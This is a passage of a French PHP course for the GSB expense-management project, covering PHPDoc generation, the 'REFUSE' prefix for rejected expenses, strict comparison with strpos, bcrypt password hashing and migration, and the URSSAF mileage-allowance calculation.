public function getLesFraisForfait($idVisiteur, $mois): array
{
    // ...
}
PHP

Bonus IDE : VSCode, PhpStorm et NetBeans lisent les blocs PHPDoc et affichent une aide contextuelle quand tu utilises une fonction (types des paramètres, description). C'est aussi utile pendant le développement !

Documentation

🏷️ Les tags PHPDoc essentiels

Tags courants

TagUsageExemple
@paramDécrit un paramètre de fonction@param string $id Identifiant
@returnDécrit la valeur retournée@return array Tableau des frais
@throwsException pouvant être levée@throws PDOException
@varType d'une propriété de classe@var PDO $connexion
@authorAuteur du fichier/classe@author Jean Dupont
@versionVersion du fichier@version 1.0.0
@packageGroupe logique (namespace)@package GSB
@seeLien vers une autre méthode/doc@see PdoGsb::getLesInfosFicheFrais()
@deprecatedMarque comme obsolète@deprecated Utiliser maFonction2()

Documenter une classe complète

/**
 * Classe d'accès aux données GSB.
 *
 * Utilise PDO pour toutes les interactions avec la base MariaDB.
 * Implémente le patron Singleton : une seule instance par requête HTTP.
 *
 * @package   GSB
 * @author    Jean Dupont <jean@example.com>
 * @version   1.0.0
 * @see       https://www.php.net/manual/fr/book.pdo.php
 */
class PdoGsb
{
    /**
     * Instance unique de la connexion PDO.
     *
     * @var PDO
     */
    protected $connexion;

    /**
     * Seule instance de la classe (Singleton).
     *
     * @var PdoGsb|null
     */
    private static $instance = null;
}
PHP

✏️ Exercice

  1. Écris le bloc PHPDoc complet pour une méthode supprimerVisiteur(string $id): bool qui retourne true si la suppression a réussi.
  2. Quelle est la différence entre @return void et ne pas mettre de @return du tout ?
  3. À quoi sert le tag @deprecated dans un projet en équipe ?
Documentation

⚙️ Le fichier phpdoc.xml — Configurer phpDocumentor

phpDocumentor lit ce fichier XML pour savoir quoi analyser et comment générer la documentation.

phpdoc.xml expliqué ligne par ligne

<?xml version="1.0" encoding="UTF-8" ?>
<phpdocumentor configVersion="3"
    xmlns="https://www.phpdoc.org">

    <!-- Titre affiché en haut de la documentation générée -->
    <title>GSB — Application de gestion de frais</title>

    <paths>
        <!-- Où écrire la documentation HTML -->
        <output>docs/</output>
        <!-- Dossier de cache interne (ne pas versionner) -->
        <cache>.phpdoc/cache</cache>
    </paths>

    <version number="1.0.0">
        <api>
            <!-- dsn="." = depuis le dossier courant (racine du projet) -->
            <source dsn=".">
                <!-- Dossiers à analyser -->
                <path>src/</path>
                <path>resources/Outils/</path>
            </source>

            <ignore hidden="true">
                <!-- Dossiers exclus — les libs tierces ne nous appartiennent pas -->
                <path>vendor/</path>
                <path>docs/</path>
            </ignore>

            <!-- Visibilité des membres documentés -->
            <visibility>public</visibility>
            <visibility>protected</visibility>
        </api>
    </version>

    <!-- Thème visuel : "default" = thème officiel responsive de phpDoc v3 -->
    <template name="default"/>

</phpdocumentor>
XML
Documentation

▶️ Générer et mettre à jour la documentation

Commandes à connaître

# Depuis la racine du projet GSB (là où se trouve phpDocumentor.phar)

# Génération avec le fichier de config
php phpDocumentor.phar -c phpdoc.xml

# Ou avec le script shell fourni (plus pratique)
./generer-doc.sh

# Vérifier la version de phpDocumentor installée
php phpDocumentor.phar --version

# Afficher toutes les options disponibles
php phpDocumentor.phar --help

Ce que génère phpDocumentor

Fichier/DossierContenu
docs/index.htmlPage d'accueil de la documentation
docs/classes/Une page HTML par classe (PdoGsb, Utilitaires…)
docs/namespaces/Index par namespace (Modeles, Outils…)
docs/files/Vue par fichier source
docs/graphs/Diagramme de classes (héritage, dépendances)
docs/reports/Rapport des erreurs PHPDoc (blocs manquants, types incorrects)
⚠️

À retenir : le dossier docs/ et le cache .phpdoc/ sont générés automatiquement. Ne les modifie jamais à la main — tes modifications seraient écrasées à la prochaine génération. Modifie les blocs PHPDoc dans le code source à la place.

💡

Workflow : (1) tu modifies le code PHP + ses commentaires PHPDoc → (2) tu lances ./generer-doc.sh → (3) tu ouvres docs/index.html dans ton navigateur pour vérifier le résultat.

✏️ Exercice final — tâche 3

  1. Ajoute un bloc PHPDoc à une méthode de PdoGsb qui n'en a pas, puis regénère la doc.
  2. Ouvre docs/reports/deprecated.html : à quoi sert ce rapport ?
  3. Pourquoi versionne-t-on phpdoc.xml mais pas docs/ ni .phpdoc/ ?
  4. Quelle différence entre documenter une méthode private et public dans phpDocumentor ?
Tâche 4 — Gestion du refus
Conception

🚫 Principe du REFUSE — Pourquoi ne pas supprimer ?

Quand la comptabilité refuse un frais hors-forfait, il ne faut ni le supprimer ni l'ignorer silencieusement. Le PDF impose une solution spécifique.

📋

Cahier des charges (PDF p.29) : "Une ligne refusée ne doit pas être supprimée mais ne doit pas non plus être prise en compte. Seul le libellé change avec l'ajout du texte REFUSE en début de libellé."

Pourquoi ce choix de conception ?

ApprocheProblème
Supprimer la lignePerte de l'historique — le visiteur ne sait pas pourquoi son remboursement est moins élevé
Colonne "refusé" booléenneFonctionne mais nécessite d'ajouter une colonne en BDD et de modifier le schéma
Préfixe "REFUSE " dans le libellé ✓Aucun changement de schéma, traçabilité conservée, détection simple avec LIKE

Les 3 endroits où le REFUSE est géré

// 1. MODÈLE — Marquer comme refusé (PdoGsb::refuserFraisHorsForfait)
// CONCAT() ajoute le préfixe. La condition NOT LIKE évite de doubler le préfixe.
"UPDATE lignefraishorsforfait
 SET libelle = CONCAT('REFUSE ', libelle)
 WHERE id = :unIdFrais
 AND libelle NOT LIKE 'REFUSE %'"

// 2. MODÈLE — Exclure du calcul (PdoGsb::calculerMontantFiche)
// Les lignes REFUSE ne sont pas comptées dans le montant remboursé.
"SELECT SUM(montant) FROM lignefraishorsforfait
 WHERE idvisiteur = :v AND mois = :m
 AND libelle NOT LIKE 'REFUSE %'"
// ↑ Cette clause SQL exclut toutes les lignes dont le libellé commence par "REFUSE "

// 3. VUE VISITEUR — Affichage distinct (v_etatFrais.php)
// strpos() détecte le préfixe, la vue affiche badge rouge + texte barré.
$estRefuse = (strpos($libelle, 'REFUSE ') === 0);
PHP + SQL
💡

Idempotence : la méthode peut être appelée plusieurs fois sur la même ligne sans effet négatif. Si la ligne est déjà préfixée par "REFUSE ", la condition NOT LIKE 'REFUSE %' empêche de doubler le préfixe. C'est une propriété importante : une opération idempotente donne toujours le même résultat, peu importe le nombre d'appels.

PHP

🔍 strpos() et le piège de ===

strpos() cherche une sous-chaîne dans une chaîne. Son résultat peut être 0 (trouvé au début) ou false (absent) — et en PHP, 0 == false est vrai !

Le comportement de strpos()

// strpos(chaîne, sous-chaîne) → position (int) ou false

strpos('REFUSE Taxi', 'REFUSE ');   // → 0     (trouvé à la position 0)
strpos('Taxi REFUSE', 'REFUSE ');   // → 5     (trouvé à la position 5)
strpos('Taxi / VTC',  'REFUSE ');   // → false (absent)
PHP
❌ Bug classique — == (lâche)
// 0 == false est VRAI en PHP !
// Donc si "REFUSE" est en position 0,
// la condition est considérée comme false.
// → La ligne n'est jamais détectée.
if (strpos($libelle, 'REFUSE ')) {
    // ❌ Ne s'exécute pas si position = 0
}
✅ Correct — === (strict)
// === compare aussi le TYPE.
// 0 === false est FAUX (int ≠ bool).
// On détecte bien la position 0.
if (strpos($libelle, 'REFUSE ') === 0) {
    // ✅ S'exécute si "REFUSE " est au début
}

== vs === — La règle à retenir

ComparaisonTypeRésultat
0 == falseLâche✅ true (PHP convertit les types)
0 === falseStricte❌ false (int ≠ bool)
0 == ""Lâche✅ true (PIÈGE !)
0 === ""Stricte❌ false (int ≠ string)
1 == "1"Lâche✅ true
1 === "1"Stricte❌ false (int ≠ string)

Règle pratique : toujours utiliser === avec strpos(), array_search() et toute fonction qui peut retourner 0 ou false.

✏️ Exercice

  1. Que retourne strpos("Bonjour", "B") ?
  2. Pourquoi if (strpos("Bonjour", "B")) est un bug alors que if (strpos("Bonjour", "o")) fonctionne ?
  3. Écris la condition qui vérifie si un libellé se termine par " €" (utilise str_ends_with() disponible en PHP 8).
PHP

🎯 match() — Le switch moderne de PHP 8

match() est comme switch() mais retourne une valeur, utilise la comparaison stricte === et n'a pas besoin de break.

switch() — l'ancienne façon
switch($etat) {
    case 'CR':
        $couleur = 'bg-secondary';
        break;
    case 'VA':
        $couleur = 'bg-success';
        break;
    default:
        $couleur = 'bg-info';
}
match() — PHP 8 ✨
$couleur = match($etat) {
    'CR' => 'bg-secondary',
    'VA' => 'bg-success',
    default => 'bg-info',
};
// Plus court, retourne une valeur,
// comparaison stricte === automatique.

Différences clés

switch()match()
Retourne une valeurNonOui
Comparaison== (lâche)=== (stricte)
Besoin de breakOuiNon
Sans defaultSilencieuxLève UnhandledMatchError
Depuis PHPPHP 4PHP 8.0
PHP

✂️ Retirer un préfixe connu pour l'affichage

On stocke "REFUSE Taxi / VTC" en BDD mais on veut afficher seulement "Taxi / VTC" avec un badge rouge. substr() résout ça en 1 ligne.

Pattern : détecter puis nettoyer

$libelle = 'REFUSE Taxi / VTC';

// ÉTAPE 1 : détecter
$estRefuse = (strpos($libelle, 'REFUSE ') === 0);  // true

// ÉTAPE 2 : retirer le préfixe pour l'affichage
// strlen('REFUSE ') = 7 → on saute les 7 premiers caractères
// On pourrait aussi écrire strlen('REFUSE ') à la place de 7
// pour que le code s'adapte automatiquement si le préfixe change.
$prefixe        = 'REFUSE ';
$libelleAffiche = $estRefuse
    ? substr($libelle, strlen($prefixe))  // → "Taxi / VTC"
    : $libelle;                               // → libellé inchangé

// ÉTAPE 3 : afficher avec style conditionnel
if ($estRefuse) {
    echo '<s class="text-muted">' . htmlspecialchars($libelleAffiche) . '</s>';
    echo '<span class="badge bg-danger">Refusé</span>';
} else {
    echo htmlspecialchars($libelleAffiche);
    echo '<span class="badge bg-success">Accepté</span>';
}
PHP

Fonctions de chaînes utiles — récap

FonctionUtilitéExemple
strpos()Trouver la position d'une sous-chaînestrpos("REFUSE X", "REFUSE ") → 0
substr()Extraire une partie de chaînesubstr("REFUSE X", 7) → "X"
strlen()Longueur d'une chaînestrlen("REFUSE ") → 7
str_starts_with()Commence par ? (PHP 8)str_starts_with("REFUSE X", "REFUSE ") → true
str_ends_with()Termine par ? (PHP 8)str_ends_with("prix €", "€") → true
str_contains()Contient ? (PHP 8)str_contains("REFUSE X", "REFUSE") → true

PHP 8 bonus : str_starts_with($libelle, 'REFUSE ') est plus lisible que strpos($libelle, 'REFUSE ') === 0 et évite le piège de ===. Les deux sont corrects, mais str_starts_with() est recommandé en PHP 8+.

✏️ Exercice final — tâche 4

  1. Quel est le résultat de strpos("Bonjour", "B") comparé avec == et === contre false ?
  2. Réécris la détection du préfixe REFUSE en utilisant str_starts_with() (PHP 8).
  3. Explique pourquoi on stocke "REFUSE Taxi" en BDD plutôt qu'une colonne booléenne est_refuse.
  4. Si le préfixe était "ANNULE : " (9 caractères), comment écrire le substr() de façon à ne pas avoir à changer le code si le préfixe change à nouveau ?
Tâche 5 — Sécurisation des mots de passe

🔐 Pourquoi hacher les mots de passe ?

Le problème : stocker les mots de passe en clair

Imaginez que la base de données soit volée (dump SQL exfiltré). Si les mots de passe sont en clair :

  • L'attaquant a accès à TOUS les comptes instantanément.
  • Comme la plupart des gens réutilisent leurs mots de passe, les comptes Gmail, bancaires, etc. sont aussi compromis.
  • L'entreprise est responsable légalement (RGPD art. 32 : obligation de sécuriser les données personnelles).

La solution : le hachage (hashing)

Le hachage transforme un mot de passe en une empreinte de longueur fixe, de façon irréversible :

"azerty" → $2y$10$abc...xyz (60 caractères bcrypt)
"azerty" → $2y$10$def...uvw (hash DIFFÉRENT, car sel différent)
CONCEPT
  • Irréversible : on ne peut pas retrouver "azerty" depuis le hash.
  • Déterministe : le même algorithme + le même sel → le même hash.
  • Avec sel : deux utilisateurs avec le même mot de passe ont des hashes différents.

Hachage ≠ Chiffrement

HachageChiffrement
Irréversible (à sens unique)Réversible avec la clé de déchiffrement
Pas de clé secrèteNécessite une clé secrète
Usages : mots de passe, empreintes de fichiersUsages : données confidentielles à récupérer (cartes bancaires)
Ex : bcrypt, SHA-256Ex : AES-256, RSA

On ne CHIFFRE pas un mot de passe, car si la clé fuit, tous les mots de passe sont récupérables. On les HACHE.

⚠️

À ne jamais faire : stocker les mots de passe en clair, les chiffrer avec une clé stockée dans le même serveur, ou les comparer directement en SQL (WHERE mdp = '$mdp' — injection SQL + pas de hash).

⚖️ MD5, SHA-1, SHA-256, bcrypt — que choisir ?

Tableau comparatif

AlgorithmeAnnéeTailleVitesseSel autoMots de passe ?
MD51991128 bits⚡ Très rapide❌ Non❌ INTERDIT (collisions, rainbow tables)
SHA-11995160 bits⚡ Rapide❌ Non❌ INTERDIT (collision prouvée en 2017)
SHA-2562001256 bits⚡ Rapide❌ Non (sauf si ajouté manuellement)⚠️ Insuffisant seul (trop rapide → brute-force facile)
SHA-5122001512 bits⚡ Rapide❌ Non⚠️ Insuffisant seul (même problème que SHA-256)
bcrypt199960 chars🐢 Lent intentionnellement✅ Oui (128 bits)✅ RECOMMANDÉ (OWASP, NIST)
Argon2id2015variable🐢 Très lent✅ Oui✅ RECOMMANDÉ (gagnant PHC 2015)

Pourquoi MD5 et SHA-1 sont-ils interdits ?

MD5 — collisions

Une collision = deux entrées différentes produisent le même hash. En 2004, les chercheurs Wang et al. ont démontré des collisions en quelques heures. Aujourd'hui, un GPU peut tester 50 milliards de MD5 par seconde. Des "rainbow tables" (listes précalculées de hashes) couvrent tous les mots de passe courants.

SHA-1 — collision pratique

Vulnérabilité théorique connue depuis 2005. En 2017, Google a publié l'attaque "SHAttered" : deux fichiers PDF différents avec le même SHA-1. Un GPU peut tester 8 milliards de SHA-1 par seconde. SHA-1 est désormais retiré de tous les navigateurs pour les certificats HTTPS.

Pourquoi SHA-256 est insuffisant pour les mots de passe

// SHA-256 est RAPIDE — c'est son problème pour les mots de passe
$hash = hash('sha256', $mdp);
// Un GPU récent → 2 MILLIARDS de SHA-256/seconde
// "azerty" + 2 milliards d'essais = trouvé en quelques secondes

// Avec sel manuel — mieux, mais toujours trop rapide
$sel = bin2hex(random_bytes(32)); // sel aléatoire
$hash = hash('sha256', $sel . $mdp);
// Problème : doit stocker le sel séparément, et toujours trop rapide
PHP

SHA-256 n'a pas de "cost factor" : on ne peut pas le rendre plus lent quand les GPUs progressent. bcrypt, lui, peut être recalibré.

Pourquoi bcrypt est le choix standard

// bcrypt est LENT — c'est voulu
// cost factor 10 → 2^10 = 1024 itérations internes → ~80ms par hash

// Pour l'utilisateur qui se connecte UNE FOIS : imperceptible (80ms)
// Pour un attaquant qui teste 10 millions de mots de passe :
// 10 000 000 × 80ms = 800 000 secondes ≈ 9 JOURS (sans GPU dédié)

// bcrypt génère un hash qui CONTIENT le sel :
// $2y$10$SSSSSSSSSSSSSSSSSSSSS.HHHHHHHHHHHHHHHHHHHHHHHHHHHHHHH
// ^^^^ ^^  ^^^^^^^^^^^^^^^^^^^^^^  ^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
// algo cost  sel (22 chars base64)   hash (31 chars base64)
CONCEPT
🏆

OWASP 2024 : Recommande bcrypt (cost ≥ 10), scrypt, ou Argon2id pour les mots de passe. SHA-256 sans itérations est classé comme insuffisant. MD5 et SHA-1 sont explicitement interdits.

✏️ Questions de compréhension

  1. Expliquez en une phrase la différence entre hachage et chiffrement.
  2. Pourquoi un attaquant qui vole une BDD avec des hashes bcrypt ne peut-il pas immédiatement se connecter ?
  3. Deux utilisateurs ont le mot de passe "azerty". Pourquoi leurs hashes bcrypt seront-ils différents ?
  4. Si le "cost factor" de bcrypt passe de 10 à 12, quel est l'impact sur le temps de connexion et sur la sécurité ?

🔑 password_hash() et password_verify() en PHP

Hacher un mot de passe lors de l'inscription

// ── LORS DE L'INSCRIPTION ou de la modification du mot de passe ──

$mdpBrut = filter_input(INPUT_POST, 'mdp', FILTER_SANITIZE_FULL_SPECIAL_CHARS);

// PASSWORD_BCRYPT  → force l'algorithme bcrypt ($2y$)
// PASSWORD_DEFAULT → meilleur algo disponible dans cette version de PHP
// PASSWORD_ARGON2ID → Argon2id (PHP 7.3+, recommandé si disponible)
$hash = password_hash($mdpBrut, PASSWORD_BCRYPT);

// $hash ressemble à : $2y$10$randomSalt22chars.hashValue31chars
// longueur fixe : 60 caractères → colonne BDD CHAR(60) ou VARCHAR(255)

// Enregistrement en BDD avec requête préparée
$stmt = $pdo->prepare('UPDATE visiteur SET mdp = :hash WHERE id = :id');
$stmt->execute([':hash' => $hash, ':id' => $id]);
PHP

Vérifier un mot de passe lors de la connexion

// ── LORS DE LA CONNEXION ──

$mdpSaisi   = filter_input(INPUT_POST, 'mdp', FILTER_SANITIZE_FULL_SPECIAL_CHARS);
$hashStocke = $pdo->getMdpVisiteur($login);  // retourne le $2y$10$... depuis BDD

// password_verify() :
// 1. Extrait le sel des 22 premiers chars du hash stocké
// 2. Recalcule bcrypt(mdpSaisi, sel) avec le même cost factor
// 3. Compare byte par byte en temps constant (anti-timing attack)
// 4. Retourne true ou false
if (!$hashStocke || !password_verify($mdpSaisi, $hashStocke)) {
    // Message vague intentionnellement : ne pas révéler si c'est le login
    // ou le mot de passe qui est incorrect (évite l'énumération de comptes)
    Utilitaires::ajouterErreur('Login ou mot de passe incorrect');
} else {
    // Connexion réussie → charger les infos et ouvrir la session
    $visiteur = $pdo->getInfosVisiteur($login);
    Utilitaires::connecter($visiteur['id'], $visiteur['nom'], $visiteur['prenom']);
    header('Location: index.php');
    exit; // toujours exit après un header Location
}
PHP

password_needs_rehash() — rehachage transparent

Si PHP passe de bcrypt (cost 10) à Argon2id comme PASSWORD_DEFAULT, les anciens hashes restent valides. Mais on peut les mettre à niveau automatiquement lors de la prochaine connexion :

if (password_verify($mdp, $hashStocke)) {
    // Connexion OK. L'algo ou le cost factor a-t-il évolué ?
    if (password_needs_rehash($hashStocke, PASSWORD_DEFAULT)) {
        // Oui → on rehache avec le nouvel algo et on met à jour la BDD
        $nouveauHash = password_hash($mdp, PASSWORD_DEFAULT);
        // UPDATE visiteur SET mdp = $nouveauHash WHERE id = $id
    }
    // Dans tous les cas on ouvre la session
}
PHP

C'est la migration "sans downtime" : les utilisateurs ne voient rien, leurs hashes sont mis à niveau en silence lors des connexions.

💡

Taille de la colonne BDD : bcrypt produit toujours 60 caractères. Mais PASSWORD_DEFAULT peut retourner Argon2 qui est plus long. Par sécurité, déclarez la colonne en VARCHAR(255) pour s'adapter aux futurs algorithmes.

✏️ Exercice pratique

  1. Écris le code PHP qui hache le mot de passe "BTS_SIO_2024" avec PASSWORD_BCRYPT et affiche le hash.
  2. Vérifie que password_verify("BTS_SIO_2024", $hash) retourne true et que password_verify("BTS_SIO_2025", $hash) retourne false.
  3. Exécute deux fois password_hash("azerty", PASSWORD_BCRYPT) : les résultats sont-ils identiques ? Pourquoi ?
  4. Quelle est la longueur du hash produit par hash('sha256', "azerty") ? Et par password_hash("azerty", PASSWORD_BCRYPT) ?

🔄 Migrer les anciens mots de passe en clair

Le scénario : une BDD avec des mots de passe en clair

Un projet existant stockait les mots de passe en clair (ou en MD5). Il faut migrer sans obliger les utilisateurs à se reconnecter.

Le script resources/bdd/uptMdp.php fait cette migration en CLI :

Structure du script de migration

// 1. Lire tous les enregistrements
$rows = $pdo->query('SELECT id, mdp FROM visiteur')->fetchAll();

// 2. Détecter si un hash est déjà en bcrypt
function estDejaHache(string $s): bool {
    // Les hashes bcrypt commencent par $2y$, $2a$ ou $2b$
    // Les hashes Argon2 commencent par $argon2
    return (bool) preg_match('/^\$(2y|2a|2b)\$|^\$argon2/i', $s);
}

// 3. Transaction — atomicité
$pdo->beginTransaction();

foreach ($rows as $row) {
    if (estDejaHache($row['mdp'])) continue; // déjà ok

    $hash = password_hash($row['mdp'], PASSWORD_BCRYPT);
    $stmt->execute([':hash' => $hash, ':id' => $row['id']]);
}

$pdo->commit(); // ou rollBack() si erreur
PHP

Concept clé : la transaction PDO

MéthodeRôle
beginTransaction()Démarre une transaction : les INSERT/UPDATE/DELETE suivants sont "en attente"
commit()Valide toutes les modifications en attente dans la BDD
rollBack()Annule toutes les modifications en attente (comme si elles n'avaient pas eu lieu)
inTransaction()Retourne true si une transaction est en cours (utile dans les catch)

Principe d'atomicité : soit TOUT réussit, soit RIEN n'est enregistré. La BDD ne peut pas se retrouver dans un état intermédiaire incohérent.

Exécution du script de migration

# Depuis la racine du projet, en ligne de commande
php resources/bdd/uptMdp.php

# Résultat attendu :
#  [IGNORÉ]  id=a118y — déjà haché en bcrypt/Argon2.
#  [HACHÉ]   id=xyz   — hash bcrypt enregistré.
#  ...
#  ✓  Transaction validée.
#  Total lu        : 150
#  Hashés (bcrypt) : 0    ← si déjà tous migrés
#  Ignorés         : 150
BASH

Le script est idempotent : l'exécuter plusieurs fois ne cause aucun dommage — il ignore les hashes déjà en bcrypt.

⚠️

Ordre d'opérations : Mettre à jour le code PHP (qui utilise password_verify()) AVANT ou EN MÊME TEMPS que le script de migration. Si vous migrez la BDD en bcrypt et que le code PHP compare encore en clair, personne ne pourra se connecter.

✏️ Exercice final — tâche 5

  1. Pourquoi exécute-t-on uptMdp.php en CLI (ligne de commande) et non depuis un navigateur ?
  2. Que se passe-t-il si on hache deux fois le même mot de passe en bcrypt (password_hash(password_hash($mdp, PASSWORD_BCRYPT), PASSWORD_BCRYPT)) ?
  3. Comment modifier le script pour augmenter le cost factor à 12 ? Quel est l'impact sur le temps d'exécution ?
  4. Expliquez pourquoi le message d'erreur de connexion dit "Login ou mot de passe incorrect" et non deux messages séparés.
  5. Si un utilisateur oublie son mot de passe, peut-on le lui renvoyer par email ? Pourquoi ? Quelle est l'alternative ?
Tâche 6 — Indemnisation kilométrique

📐 Barème kilométrique URSSAF par puissance fiscale

Pourquoi un barème différencié ?

Un véhicule plus puissant consomme plus. L'État (via l'URSSAF) fixe chaque année un barème qui rembourse les frais kilométriques en fonction de :

  • La puissance fiscale du véhicule (en CV — chevaux vapeur fiscaux)
  • La distance parcourue dans l'année (3 tranches)

La puissance fiscale n'est pas la puissance réelle du moteur. C'est une valeur administrative calculée par la préfecture selon une formule tenant compte de la cylindrée et des émissions de CO₂.

Tableau URSSAF 2024 (Ressources\ETAT-FRAIS.docx)

Puissance≤ 5 000 km5 001 – 20 000 km> 20 000 km
≤ 3 CVd × 0,529(d × 0,316) + 1 065d × 0,370
4 CVd × 0,606(d × 0,340) + 1 330d × 0,407
5 CVd × 0,636(d × 0,357) + 1 395d × 0,427
6 CVd × 0,665(d × 0,374) + 1 457d × 0,447
≥ 7 CVd × 0,697(d × 0,394) + 1 515d × 0,470

Formule générale : montant = (coef × d) + fixe   —   où d = distance en km.

Note : les tranches sont NON cumulatives — on n'additionne pas les tranches comme pour l'impôt sur le revenu. On applique la formule de la tranche atteinte sur TOUTE la distance.

Exemple de calcul — Sophie GRANDPRÉ (REMBOURSEMENT_FRAIS_202507)

// Visiteur : 7 CV et plus, 750 km ce mois-ci
// Tranche ≤ 5 000 km → montant = d × 0,697
$km     = 750;
$coef   = 0.697;
$fixe   = 0.0;
$montant = ($coef * $km) + $fixe;
// = 0,697 × 750 = 522,75 € (≈ 502,50 selon le doc d'exemple)
PHP
💡

Avant vs après Tâche 6 : avant, la BDD avait un prix fixe à 0,62 €/km pour tout le monde. Après, chaque visiteur a sa puissance en BDD et le service calcule le bon tarif selon le barème URSSAF.

⚙️ La classe Service — principe de Responsabilité Unique (SRP)

Pourquoi une classe Service ?

Dans le MVC pur, le Modèle gère la BDD, la Vue affiche, le Contrôleur orchestre. Mais certaines logiques métier complexes (comme le calcul du barème) n'appartiennent à aucune des trois couches :

  • Ce n'est pas de la BDD → pas dans le Modèle (PdoGsb)
  • Ce n'est pas de l'affichage → pas dans la Vue
  • Ce n'est pas du routage → pas dans le Contrôleur

→ On crée une classe Service dédiée. Elle encapsule un algorithme métier pur, sans dépendance à la BDD ni au HTTP.

Structure de IndemniteKmService

namespace App\Services;

class IndemniteKmService
{
    // Méthodes statiques : on n'a pas besoin d'instancier la classe
    // car elle n'a pas d'état interne (pas d'attributs).

    public static function isEnabled(): bool { ... }

    public static function getDefaultPuissance(): ?int { ... }

    // TÂCHE 6 — calcule le montant selon puissance + km
    public static function computeMontant(
        int $kilometres,
        int $puissanceCv,
        float $fallbackUnit   // prix BDD si barème désactivé
    ): float { ... }

    // TÂCHE 6 — retourne le détail (coef, fixe, tranche) pour l'affichage
    public static function getTarifApplique(
        int $kilometres,
        int $puissanceCv
    ): ?array { ... }
}
PHP

L'algorithme computeMontant — boucle dans une boucle

foreach ($bareme as $range) {
    // 1. Chercher la plage de puissance correspondante
    $inRange = ($pmin === null || $puissanceCv >= $pmin)
            && ($pmax === null || $puissanceCv <= $pmax);

    if ($inRange) {
        foreach ($range['tranches'] as $tr) {
            // 2. Chercher la tranche km (la première satisfaisante)
            // km_max === null = dernière tranche = pas de borne sup
            if ($tr['km_max'] === null || $kilometres <= $tr['km_max']) {
                // 3. Appliquer la formule
                return $tr['fixe'] + $tr['coef'] * $kilometres;
            }
        }
        break; // plage trouvée mais aucune tranche → pas de double parcours
    }
}
PHP

Boucle imbriquée : la boucle externe parcourt les plages de puissance (5 plages), la boucle interne parcourt les tranches km (3 tranches max). On sort dès qu'on a trouvé — c'est du court-circuit (return dans la boucle).

✏️ Exercice

  1. Calculez à la main le montant pour un visiteur 4 CV ayant effectué 12 000 km.
  2. Pourquoi utilise-t-on null pour puissance_min de la première plage (≤3 CV) ?
  3. Qu'est-ce que le principe SRP (Single Responsibility Principle) ? Pourquoi ce calcul n'est-il pas dans PdoGsb ?

📄 Fichier de configuration PHP retournant un tableau

Le pattern "config as PHP array"

Au lieu d'un fichier .ini, .json ou .yaml, PHP peut utiliser un fichier PHP qui retourne directement un tableau. Ce fichier est chargé avec include() :

// config/indemnites_km.php
return [
    'enabled'              => true,
    'default_puissance_cv' => 5,
    'bareme'               => [
        [
            'puissance_min' => null,
            'puissance_max' => 3,
            'tranches'      => [
                ['km_max' => 5000,  'coef' => 0.529, 'fixe' =>    0.0],
                ['km_max' => 20000, 'coef' => 0.316, 'fixe' => 1065.0],
                ['km_max' => null,  'coef' => 0.370, 'fixe' =>    0.0],
            ],
        ],
        // ... autres plages
    ],
];
PHP
// IndemniteKmService.php — lecture de la config
public static function getConfig(): array
{
    $path = __DIR__ . '/../../config/indemnites_km.php';
    if (is_file($path)) {
        $cfg = include $path; // include retourne la valeur du return du fichier inclus
        if (is_array($cfg)) {
            return $cfg;
        }
    }
    return ['enabled' => false, 'bareme' => []]; // fallback
}
PHP

Avantages vs JSON / INI

FormatAvantagesInconvénients
PHP array (return)Syntax PHP native, types natifs, commentaires, opcacheSeulement pour PHP
JSONStandard universel, lisible par tous les langagesPas de commentaires, tout est string
INISimple pour clé=valeurLimité pour les structures imbriquées
YAMLTrès lisible, populaire (Laravel)Extension PHP nécessaire

Le pattern "PHP array config" est utilisé par de nombreux frameworks (Laravel config/, Symfony parameters). L'opcache PHP met le fichier en cache compilé — plus rapide qu'un JSON parsé à chaque requête.

🗄️ ALTER TABLE — modifier le schéma d'une table existante

Pourquoi ALTER TABLE plutôt que recréer la table ?

En production, la table visiteur contient des données réelles. On ne peut pas la supprimer et la recréer. On modifie son schéma avec ALTER TABLE :

-- Ajoute la colonne puissance_cv à la table existante
-- IF NOT EXISTS : évite l'erreur si la colonne existe déjà (idempotent)
-- TINYINT UNSIGNED : 1 octet, valeurs 0-255 (suffisant pour 3-15 CV)
-- DEFAULT 5 : toutes les lignes existantes auront 5 CV automatiquement
ALTER TABLE `visiteur`
    ADD COLUMN IF NOT EXISTS `puissance_cv`
    TINYINT UNSIGNED NOT NULL DEFAULT 5
    COMMENT 'Puissance fiscale du véhicule (barème URSSAF)';
SQL

Typage SQL — choisir le bon type

TypeTaillePlageUsage ici
TINYINT UNSIGNED1 octet0 – 255✅ Puissance CV (3-15)
SMALLINT2 octets-32768 – 32767Trop grand
INT4 octets±2 milliardsTrop grand
DECIMAL(5,2)variableex: 999.99Pour les montants €
CHAR(n)n octets (fixe)chaîne de n charsIDs fixes (id visiteur)
VARCHAR(n)≤ n+1 octetschaîne variableNoms, libellés

Defensive programming — gérer l'absence de la colonne

// PdoGsb::getPuissanceVisiteur() — si la migration n'a pas encore été jouée
public function getPuissanceVisiteur(string $idVisiteur): int
{
    try {
        $req = $this->connexion->prepare(
            'SELECT puissance_cv FROM visiteur WHERE id = :id LIMIT 1'
        );
        $req->execute([':id' => $idVisiteur]);
        $row = $req->fetch(PDO::FETCH_ASSOC);
        if ($row && isset($row['puissance_cv']) && $row['puissance_cv'] > 0) {
            return (int)$row['puissance_cv'];
        }
    } catch (\PDOException $e) {
        // La colonne n'existe pas encore (migration non jouée) → on tombe en fallback
        // On ne laisse pas l'exception remonter pour ne pas bloquer l'application.
    }
    return IndemniteKmService::getDefaultPuissance() ?? 5;
}
PHP

Defensive programming : le code continue de fonctionner même si la migration n'a pas encore été jouée. C'est particulièrement utile en équipe où les membres peuvent déployer les changements à des moments différents.

✏️ Exercice final — tâche 6

  1. Calculez le montant pour un visiteur 5 CV ayant effectué 18 000 km dans l'année.
  2. Pourquoi TINYINT UNSIGNED et pas INT pour stocker une puissance fiscale ?
  3. Que se passe-t-il si on exécute la migration SQL deux fois ? Est-ce un problème ? Pourquoi ?
  4. Expliquez la différence entre include 'config.php' qui retourne un tableau et json_decode(file_get_contents('config.json'), true) — lequel est plus rapide et pourquoi ?
Tâche 7 — Génération PDF (FPDF)

📄 Script autonome vs index.php

Pourquoi un fichier séparé telecharger_pdf.php ?

FPDF envoie des en-têtes HTTP au navigateur pour indiquer que la réponse est un PDF :

Content-Type: application/pdf
Content-Disposition: inline; filename="Fiche.pdf"
HTTP

Ces en-têtes doivent être envoyés avant tout contenu HTML. Si on passe par index.php, la vue v_entete.php a déjà envoyé du HTML → impossible d'ajouter des en-têtes → FPDF échoue.

Un script séparé démarre "propre" : aucun HTML n'a été envoyé, on contrôle exactement ce qui part au navigateur.

Structure du script autonome

